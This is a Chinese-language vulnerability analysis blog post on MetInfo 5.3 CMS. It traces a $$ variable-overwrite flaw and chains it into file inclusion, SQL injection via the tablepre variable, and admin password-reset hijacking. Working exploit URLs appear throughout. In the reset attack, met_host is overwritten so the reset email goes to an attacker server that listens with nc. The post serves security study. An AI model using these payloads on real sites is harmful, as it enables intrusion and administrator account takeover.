metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用。
变量覆盖+文件包含
拿到这个CMS首先还是浏览一下目录结构,简单浏览之后进入/index.php,其中
$index="index"; require_once 'include/common.inc.php'; require_once 'include/head.php';
这里出现了require_once函数,可能会出现文件包含漏洞,于是跟读include/commen.inc.php,里面有一段代码
foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); $_M['form'][$_key] = daddslashes($_value,0,0,1); } }
这一段就是经典的$$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含,跟读/about/index.php寻找突破点:
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. $filpy = basename(dirname(__FILE__)); $fmodule=1; require_once '../include/module.php'; require_once $module; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?>
这里使用了require_once函数包含了/include/module.php文件,继续跟读,这个文件的开头为:
<?php if(!defined('IN_MET'))require_once 'common.inc.php'; $modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column); $modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news); $modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product); $modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download); $modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img); $modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job); $modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column); $modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product); $modulefname[101] = array(0=>'img.php',1=>'imgproduct.php',2=>$met_img);
可以发现这个文件又包含了common.inc.php文件。理顺一下,/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:$module,$fmodule。我们可以用$fmodule变量通过两次文件包含,使用$_request来获取GET传递的新$fmodule值实现变量覆盖。
为了实现上述思路,我们回到/include/module.php找$module和$fmodule的关系:
1 $module=''; 2 if($fmodule!=7){ 3 if($mdle==100)$mdle=3; 4 if($mdle==101)$mdle=5; 5 $module = $modulefname[$mdle][$mdtp]; 6 if($module==NULL){okinfo('../404.html');exit();} 7 if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){ 8 if($fmodule==$mdle){ 9 $module = $modulefname[$mdle][$mdtp]; 10 } 11 else{ 12 okinfo('../404.html');exit(); 13 } 14 } 15 else{ 16 if($list){ 17 okinfo('../404.html');exit(); 18 } 19 else{ 20 $module = $modulefname[$mdle][$mdtp]; 21 } 22 } 23 if($mdle==8){ 24 if(!$id)$id=$class1; 25 $module = '../feedback/index.php'; 26 }
根据上面程序的逻辑,我们可以发现当$fmodule不为7时,不覆盖;当$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在,可以结合文件包含漏洞进行利用,在/upload中上传phpinfo,payload:
http://127.0.0.1/metinfo-5.3/about/?fmodule=7&module=../upload/phpinfo.php
变量覆盖+SQL注入
问题还是出现在include/commen.inc.php中:
1 if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){ 2 require_once '../app/app/shop/include/product.class.php'; 3 if($gotonew == 1){ 4 @define('M_NAME', 'shop'); 5 @define('M_MODULE', 'web'); 6 @define('M_CLASS', @$cmodule); 7 @define('M_ACTION', 'doindex'); 8 require_once '../app/system/entrance.php'; 9 die(); 10 } 11 } 12 header("Content-type: text/html;charset=utf-8"); 13 error_reporting(E_ERROR | E_PARSE); 14 @set_time_limit(0); 15 $HeaderTime=time(); 16 define('ROOTPATH', substr(dirname(__FILE__), 0, -7)); 17 PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai'); 18 session_cache_limiter('private, must-revalidate'); 19 @ini_set('session.auto_start',0); 20 if(PHP_VERSION < '4.1.0') { 21 $_GET = &$HTTP_GET_VARS; 22 $_POST = &$HTTP_POST_VARS; 23 $_COOKIE = &$HTTP_COOKIE_VARS; 24 $_SERVER = &$HTTP_SERVER_VARS; 25 $_ENV = &$HTTP_ENV_VARS; 26 $_FILES = &$HTTP_POST_FILES; 27 } 28 require_once ROOTPATH.'include/mysql_class.php'; 29 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); 30 isset($_REQUEST['GLOBALS']) && exit('Access Error'); 31 require_once ROOTPATH.'include/global.func.php'; 32 foreach(array('_COOKIE', '_POST', '_GET') as $_request) { 33 foreach($$_request as $_key => $_value) { 34 $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1); 35 $_M['form'][$_key] = daddslashes($_value,0,0,1); 36 } 37 } 38 $met_cookie=array(); 39 $settings=array(); 40 $db_settings=array(); 41 $db_settings = parse_ini_file(ROOTPATH.'config/config_db.php'); 42 @extract($db_settings); 43 $db = new dbmysql(); 44 $db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name); 45 $query="select * from {$tablepre}config where name='met_tablename' and "; 46 $mettable=$db->get_one($query); 47 $mettables=explode('|',$mettable[value]); 48 foreach($mettables as $key=>$val){ 49 $tablename='met_'.$val; 50 $$tablename=$tablepre.$val; 51 $_M['table'][$val] = $tablepre.$val; 52 }
32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。第45行出现一个带有$tablepre变量的SQL语句:
$query="select * from {$tablepre}config where name='met_tablename' and ";
如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:
http://127.0.0.1/metinfo-5.3/include/common.inc.php?tablepre=mysql.user limit 1 #
SQL语句就变成了:
$query="select * from mysql.user limit 1 # config where name='met_tablename' and ";
从而实现了SQL注入(虽然没有回显)。
变量覆盖+管理员密码修改
这个变量覆盖漏洞出现在admin/admin/getpassword.php,下面贴一大堆代码:
1 switch($action){ 2 case 'next1': 3 if($abt_type==1){ 4 $description=$lang_password2; 5 $title=$lang_password3; 6 }else{ 7 $description=$lang_password4; 8 $title=$lang_password5; 9 } 10 break; 11 case 'next2': 12 if($abt_type==1){ 13 die(); 14 if($met_smspass){ 15 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'"); 16 if($admin_list && $admin_list['admin_mobile']=='')okinfo('../admin/getpassword.php',$lang_password6); 17 if(!$admin_list){ 18 if(!preg_match("/^((\(\d{2,3}\))|(\d{3}\-))?1(3|5|8|9)\d{9}$/",$admin_mobile))okinfo('../admin/getpassword.php',$lang_password7); 19 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_mobile='$admin_mobile' and usertype='3'"); 20 if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password8); 21 } 22 $code=generate_password(6); 23 $nber=generate_password(2); 24 $cnde=$code.'-'.$nber.'-'.$admin_list['admin_id']; 25 /*发送短信*/ 26 require_once ROOTPATH.'include/export.func.php'; 27 $domain = strdomain($met_weburl); 28 $message="$lang_password9{$code}$lang_password10{$nber}[{$domain}]"; 29 $smsok=sendsms($admin_list['admin_mobile'],$message,5); 30 if($smsok=='SUCCESS'){ 31 $mobile = substr($admin_list['admin_mobile'],0,3).'****'.substr($admin_list['admin_mobile'],7,10); 32 $description=$lang_password11.'<br/><span class="color999">'.$lang_password12.'</span>'; 33 $query = "delete from $met_otherinfo where lang = 'met_cnde'"; 34 $db->query($query); 35 /*写入数据库*/ 36 $query = "INSERT INTO $met_otherinfo SET 37 authpass = '$cnde', 38 lang = 'met_cnde'"; 39 $db->query($query); 40 }else{ 41 okinfo('getpassword.php',sedsmserrtype($smsok)); 42 } 43 }else{ 44 okinfo('getpassword.php',$lang_password13); 45 } 46 }else{ 47 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'"); 48 if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14); 49 if(!$admin_list){ 50 if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7); 51 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'"); 52 if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14); 53 } 54 if($admin_list){ 55 $met_fd_usename=$met_fd_usename; 56 $met_fd_fromname=$met_fd_fromname; 57 $met_fd_password=$met_fd_password; 58 $met_fd_smtp=$met_fd_smtp; 59 $met_webname=$met_webname; 60 $met_weburl=$met_weburl; 61 $adminfile=$url_array[count($url_array)-2]; 62 $from=$met_fd_usename; 63 $fromname=$met_fd_fromname; 64 $to=$admin_list['admin_email']; 65 $usename=$met_fd_usename; 66 $usepassword=$met_fd_password; 67 $smtp=$met_fd_smtp; 68 $title=$met_webname.$lang_getNotice; 69 $x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]); 70 $outime=3600*24*3; 71 $String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime); 72 $String=urlencode($String); 73 $mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String; 74 $body ="<style type='text/css'>\n"; 75 $body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}\n"; 76 $body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}\n"; 77 $body .="#metinfo .logo img{ border:none;}\n"; 78 $body .="#metinfo .logo a{ display:block;}\n"; 79 $body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}\n"; 80 $body .="#metinfo .text p{ margin-bottom:5px;}\n"; 81 $body .="#metinfo .text a{ color:#70940E;}\n"; 82 $body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}\n"; 83 $body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }\n"; 84 $body .="#metinfo .copy a:hover{ text-decoration:underline; }\n"; 85 $body .="#metinfo .copy b{ font-weight:normal; }\n"; 86 $body .="</style>\n"; 87 $body .="<div id='metinfo'>\n"; 88 if($met_agents_type<=1){ 89 $body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>"; 90 } 91 $body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>"; 92 $body .="<p><a href='$mailurl'>$mailurl</a></p>\n"; 93 if($met_agents_type<=1){ 94 $body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>"; 95 } 96 require_once ROOTPATH.'include/jmail.php'; 97 $sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp); 98 if($sendMail==0){ 99 require_once ROOTPATH.'include/export.func.php'; 100 $post=array('to'=>$to,'title'=>$title,'body'=>$body); 101 $met_file='/passwordmail.php'; 102 $sendMail=curl_post($post,30); 103 if($sendMail=='nohost')$sendMail=0; 104 } 105 106 $text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4; 107 okinfo('../index.php',$text); 108 } 109 }
这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2,在第97行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用102行的curl_post函数发送邮件,我们跟读一下这个函数,该函数位于/include/export.func.php。
1 function curl_post($post,$timeout){ 2 global $met_weburl,$met_host,$met_file; 3 $host=$met_host; 4 $file=$met_file; 5 if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){ 6 $curlHandle=curl_init(); 7 curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 8 curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl); 9 curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 10 curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout); 11 curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout); 12 curl_setopt($curlHandle,CURLOPT_POST, 1); 13 curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post); 14 $result=curl_exec($curlHandle); 15 curl_close($curlHandle); 16 }
其中$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:
1 function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname) 2 { 3 global $met_fd_port,$met_fd_way; 4 $mail = new PHPMailer(); 5 //$mail->SMTPDebug = 3; 6 7 $mail->CharSet = "UTF-8"; // charset 8 $mail->Encoding = "base64"; 9 $mail->Timeout = 15; 10 $mail->IsSMTP(); // telling the class to use SMTP 11 12 //system 13 if(stripos($smtp,'.gmail.com')===false){ 14 $mail->Port = $met_fd_port; 15 $mail->Host = $smtp; // SMTP server 16 if($met_fd_way=='ssl'){ 17 $mail->SMTPSecure = "ssl"; 18 }else{ 19 $mail->SMTPSecure = ""; 20 } 21 } 22 …… 23 …… 24 …… 25 if(!$mail->Send()) { 26 $mail->SmtpClose(); 27 //return "Mailer Error: " . $mail->ErrorInfo; 28 return false; 29 } else { 30 $mail->SmtpClose(); 31 //return "Message sent!"; 32 return true; 33 } 34 } 35 }
我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。
我们先在服务器上监听80端口
nc -lv 80
然后抓包构造payload即可获取邮件。